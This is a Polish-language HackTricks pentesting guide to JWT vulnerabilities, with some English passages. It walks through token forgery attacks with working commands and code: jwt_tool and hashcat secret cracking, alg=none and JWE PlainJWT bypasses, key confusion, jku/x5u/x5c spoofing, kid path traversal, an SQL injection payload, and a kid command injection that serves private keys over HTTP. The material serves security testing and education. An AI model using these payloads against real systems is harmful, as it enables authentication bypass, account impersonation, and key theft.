Podatności JWT (Json Web Tokens)

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Część tego posta opiera się na świetnym wpisie: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor świetnego narzędzia do pentest JWTs https://github.com/ticarpi/jwt_tool

Quick Wins

Uruchom jwt_tool z trybem All Tests! i poczekaj na zielone linie

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Jeśli masz szczęście, narzędzie znajdzie jakiś przypadek, w którym web application nieprawidłowo sprawdza JWT:

Następnie możesz wyszukać request w swoim proxy albo zrzucić użyty JWT dla tego requestu za pomocą narzędzia jwt_:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Practical JWT assessment workflow

  • Scope the session control: Wybierz request zależny od użytkownika (np. profil, billing). Usuwaj cookies/headers po jednym, aż request zostanie odrzucony, aby wyizolować, który token(y) faktycznie kontroluje autoryzację.
  • Locate JWTs in traffic: Często znajdują się w Authorization: Bearer <JWT>, ale pojawiają się też w custom headers lub cookies. Jeśli Burp ich nie podświetla, użyj Target → Site map → Engagement tools → Search z regexami takimi jak:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode and enumerate: Użyj Burp JWT Editor albo python3 jwt_tool.py <JWT>, aby odczytać header/payload. Zwróć uwagę na alg, exp/token lifetime oraz claims sterujące authn/authz (role, id, username, email, itd.).
  • Signature enforcement sanity check: Odwróć lub usuń kilka bajtów w części signature i wyślij ponownie. Akceptacja oznacza brak weryfikacji signature i możesz bezpośrednio modyfikować claims w payload.
  • Goal: Modyfikuj claims w payload, aby eskalować uprawnienia; każdy atak poniżej ma na celu sprawić, by serwer zaakceptował zmodyfikowany payload poprzez wykorzystanie słabej weryfikacji, słabych secretów lub niebezpiecznego wyboru key.

Tamper data without modifying anything

Możesz po prostu zmodyfikować dane, pozostawiając signature bez zmian, i sprawdzić, czy serwer weryfikuje signature. Spróbuj na przykład zmienić swoją nazwę użytkownika na “admin”.

Is the token checked?

Aby sprawdzić, czy signature JWT jest weryfikowany:

  • Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w verbose errors powinny zostać przejrzane.
  • Zmiana w zwróconej stronie również wskazuje na weryfikację.
  • Brak zmian sugeruje brak weryfikacji; wtedy warto eksperymentować z modyfikacją claims w payload.

Origin

Ważne jest ustalenie, czy token został wygenerowany po stronie serwera, czy klienta, przez analizę historii requestów proxy.

  • Tokeny widoczne po raz pierwszy po stronie klienta sugerują, że key może być ujawniony w client-side code, co wymaga dalszego zbadania.
  • Tokeny pochodzące z serwera wskazują na bezpieczny proces.

Duration

Sprawdź, czy token działa dłużej niż 24h… może nigdy nie wygasa. Jeśli jest pole “exp”, sprawdź, czy serwer poprawnie je obsługuje.

Brute-force HMAC secret

See this page.

Jeśli header używa HS256, zapisz token do pliku i spróbuj offline cracking:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Gdy sekret zostanie odzyskany, załaduj go jako symetryczny key w Burp JWT Editor i ponownie podpisz zmodyfikowane claims.

Wyprowadź JWT secrets z leaked config + DB data

Jeśli arbitrary file read (lub backup leak) ujawnia zarówno application encryption material jak i user records, czasem możesz odtworzyć JWT signing secret i sfałszować session cookies bez znajomości jakichkolwiek plaintext passwords. Przykładowy pattern obserwowany w workflow automation stacks:

  1. Leak app key (np. encryptionKey) z config file.
  2. Leak user table, aby uzyskać email, password_hash i user_id.
  3. Wyprowadź signing secret z key, a następnie wyprowadź per-user hash oczekiwany w JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. Wstaw podpisany token do cookie sesji (np. n8n-auth), aby podszyć się pod konto user/admin nawet jeśli hash hasła jest salted.

Modify the algorithm to None

Ustaw algorytm używany jako “None” i usuń część signature.

Użyj rozszerzenia Burp “JSON Web Token”, aby przetestować tę podatność i zmieniać różne wartości wewnątrz JWT (wyślij request do Repeater i w zakładce “JSON Web Token” możesz modyfikować wartości tokena. Możesz też wybrać ustawienie pola “Alg” na “None”).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

Niektóre stacki oczekują signed inner JWT opakowanego w encrypted JWE. W podatnych wersjach pac4j-jwt (przed 4.5.9, 5.7.9 i 6.3.3) authenticator odszyfrowuje JWE, próbuje sparsować payload jako signed JWT i weryfikuje signature tylko wtedy, gdy ta konwersja się powiedzie. Jeśli odszyfrowany payload to PlainJWT (alg=none), toSignedJWT() zwraca null, a ścieżka weryfikacji signature jest pomijana.

  • Pre-reqs:
  • Aplikacja akceptuje JWE bearer tokens
  • Publiczny klucz servera jest ujawniony (zwykle przez JWKS takie jak /.well-known/jwks.json lub /api/auth/jwks)
  • Authorization zależy od claims kontrolowanych przez attacker, takich jak sub, role, groups lub scope
  • Impact: sfałszuj encrypted token dla dowolnego user/role, używając tylko public key

Praktyczne sprawdzenia:

  • Przejrzyj frontend / API docs w poszukiwaniu wskazówek takich jak RSA-OAEP-256, A128GCM/A256GCM, jwks albo komentarzy mówiących, że “inner JWT is signed”.
  • Pobierz JWKS i zaimportuj klucz RSA z n/e.
  • Zbuduj inner token ręcznie jako base64url(header) + "." + base64url(payload) + ".", tak aby signature była pusta.
  • Zaszyfruj ten plaintext JWT jako JWE używając ujawnionego public key i odtwórz go jako bearer token.

Minimal PlainJWT construction:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

Zaszyfruj to do kompaktowego JWE przy użyciu klucza publicznego RSA z JWKS:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Notas:

  • Jeśli Twoja biblioteka JWT odmawia wygenerowania alg=none, wygeneruj token compact ręcznie, jak pokazano powyżej.
  • Wartość enc musi odpowiadać jednej z akceptowanych przez cel; komentarze w frontendzie i legalne tokeny często to ujawniają.
  • W SPA sprawdź, czy bearer token jest przechowywany w sessionStorage, localStorage albo w cookie dostępnym z JS; wklejenie tam sfałszowanego tokenu często wystarcza, by szybko potwierdzić bypass.

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, zaimportuj publiczny klucz RSA (z /.well-known/jwks.json albo PEM) i uruchom Attack → HMAC Key Confusion Attack, aby zautomatyzować próbę ponownego podpisania HS256.

New public key inside the header

Atakujący osadza nowy klucz w nagłówku tokenu, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).

Można to zrobić za pomocą rozszerzenia Burp “JSON Web Tokens”.
(Wyślij żądanie do Repeater, wewnątrz zakładki JSON Web Token wybierz “CVE-2018-0114” i wyślij żądanie).

JWKS Spoofing

Instrukcje opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych używających klauzuli nagłówka “jku”. Ta klauzula powinna wskazywać na plik JWKS (JSON Web Key Set), który zawiera publiczny klucz niezbędny do weryfikacji tokenu.

  • Ocena tokenów z nagłówkiem “jku”:

  • Sprawdź URL w klauzuli “jku”, aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.

  • Zmień wartość “jku” w tokenie tak, aby wskazywała na kontrolowaną usługę web, co pozwala obserwować ruch.

  • Monitorowanie interakcji HTTP:

  • Obserwowanie żądań HTTP do wskazanego URL oznacza próby serwera pobrania kluczy z podanego linku.

  • Przy użyciu jwt_tool do tego procesu, kluczowe jest zaktualizowanie pliku jwtconf.ini o własną lokalizację JWKS, aby ułatwić testowanie.

  • Polecenie dla jwt_tool:

  • Wykonaj poniższe polecenie, aby zasymulować scenariusz z jwt_tool:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues Overview

Opcjonalna klauzula nagłówka o nazwie kid służy do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokenu. Ta klauzula pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokenu.

Revealing Key through “kid”

Gdy klauzula kid jest obecna w nagłówku, zaleca się przeszukanie web directory w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli "kid":"key/12345" jest podane, należy szukać plików /key/12345 oraz /key/12345.pem w web root.

Path Traversal with “kid”

Klauzula kid może być też wykorzystana do nawigacji przez file system, potencjalnie umożliwiając wybór dowolnego pliku. Możliwe jest testowanie łączności lub wykonanie ataków Server-Side Request Forgery (SSRF) przez zmianę wartości kid tak, aby wskazywała na konkretne pliki lub usługi. Modyfikację JWT w celu zmiany wartości kid przy zachowaniu oryginalnego podpisu można wykonać za pomocą flagi -T w jwt_tool, jak pokazano poniżej:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it’s possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.

SQL Injection via “kid”

If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through “kid”

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku oznacza JWK Set URL.
Jeśli token używa roszczenia Headerjku”, to sprawdź podany URL. Powinien on wskazywać na URL zawierający plik JWKS z Public Key używanym do weryfikacji tokena. Zmodyfikuj token tak, aby wartość jku wskazywała na usługę internetową, której ruch możesz monitorować.

Najpierw musisz utworzyć nowy certificate z nowymi private i public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.

You can obtain the parametes “e” and “n” from a public certificate using:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

Jeśli verifier pobiera materiał klucza zdalnie, osadź URL Burp Collaborator w jku/x5u używając JWT Editor → Attack → Embed Collaborator payload. Każdy callback potwierdza SSRF-style key retrieval; potem hostuj własny JWKS/PEM pod tym adresem i podpisz ponownie swoim private key, aby service validate attacker-minted tokens.

x5u

X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certificate) zakodowanych w formie PEM. Pierwszy certificate w zestawie musi być tym użytym do podpisania tego JWT. Kolejne certyfikaty każdy podpisuje poprzedni, tym samym domykając certificate chain. X.509 jest zdefiniowany w RFC 52807 . Transport security jest required do transferu certyfikatów.

Spróbuj zmienić ten header na URL pod twoją kontrolą i sprawdź, czy zostanie odebrane jakieś request. W takim przypadku możesz podmienić JWT.

Aby sfałszować nowy token używając certificate kontrolowanego przez ciebie, musisz utworzyć certificate i wyekstrahować public i private keys:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the stworzonymi kluczami publicznym i prywatnym oraz wskazując parametr x5u na certyfikat .crt.

You can also abuse both of these vulns for SSRFs.

x5c

This parameter may contain the certificate in base64:

If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the “x5c” parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Osadzony public key (CVE-2018-0114)

Jeśli JWT ma osadzony public key, jak w następującym scenariuszu:

Używając poniższego skryptu nodejs, można wygenerować public key z tych danych:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Możliwe jest wygenerowanie nowego private/public key, osadzenie nowego public key wewnątrz tokena i użycie go do wygenerowania nowego signature:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Możesz uzyskać “n” i “e” za pomocą tego skryptu nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Wreszcie, używając publicznego i prywatnego klucza oraz nowych wartości “n” i “e”, możesz użyć jwt.io, aby sfałszować nowy poprawny JWT z dowolnymi informacjami.

ES256: Ujawnienie prywatnego klucza przy tym samym nonce

Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do wygenerowania dwóch jwt, prywatny klucz może zostać odzyskany.

Oto przykład: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

Claim JTI (JWT ID) zapewnia unikalny identyfikator dla JWT Token. Może być używany do zapobiegania ponownemu użyciu tokenu.
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli więc backend inkrementuje ID przy każdym żądaniu, możesz to wykorzystać do replay request (wymaga to wysłania 10000 żądań między każdym udanym replay).

JWT Registered claims

JSON Web Token (JWT)

Inne ataki

Cross-service Relay Attacks

Zaobserwowano, że niektóre web applications polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Odnotowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zostanie zaobserwowana emisja lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy sprawdzić możliwość założenia konta u innego klienta tej usługi przy użyciu tej samej nazwy użytkownika/email. Następnie należy spróbować odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.

  • Krytyczny problem może sugerować akceptacja twojego tokenu, potencjalnie umożliwiająca spoofing konta dowolnego użytkownika. Należy jednak pamiętać, że może być wymagana zgoda na szersze testy, jeśli zakładanie konta w aplikacji zewnętrznej wchodziłoby w szarą strefę prawną.

Expiry Check of Tokens

Wygaśnięcie tokenu jest sprawdzane przy użyciu claim “exp” w Payload. Ponieważ JWT są często używane bez informacji o sesji, wymagane jest ostrożne podejście. W wielu przypadkach przechwycenie i odtworzenie JWT innego użytkownika może umożliwić podszycie się pod tego użytkownika. RFC JWT zaleca ograniczanie replay attacks JWT poprzez użycie claim “exp” do ustawienia czasu wygaśnięcia tokenu. Ponadto kluczowe jest wdrożenie przez aplikację odpowiednich kontroli, aby zapewnić przetwarzanie tej wartości i odrzucanie wygasłych tokenów. Jeśli token zawiera claim “exp” i limity czasowe testów na to pozwalają, zaleca się zapisanie tokenu i odtworzenie go po upływie czasu wygaśnięcia. Zawartość tokenu, w tym parsowanie timestamp i sprawdzanie wygaśnięcia (timestamp w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.

  • Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal waliduje token, ponieważ może to oznaczać, że token nigdy nie wygaśnie.

Tools

  • jwt_tool – dekodowanie, modyfikacja claim/header, offline secret cracking (-C) oraz półautomatyczne tryby ataku (-M at).
  • Burp JWT Editor – dekodowanie i ponowne podpisywanie w Repeater, generowanie własnych kluczy oraz uruchamianie wbudowanych ataków (none, HMAC key confusion, embedded JWK, payloady kolaboratora jku/x5u).
  • hashcat -m 16500 – GPU-accelerated łamanie sekretu HS256 po wyeksportowaniu JWT do wordlisty.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks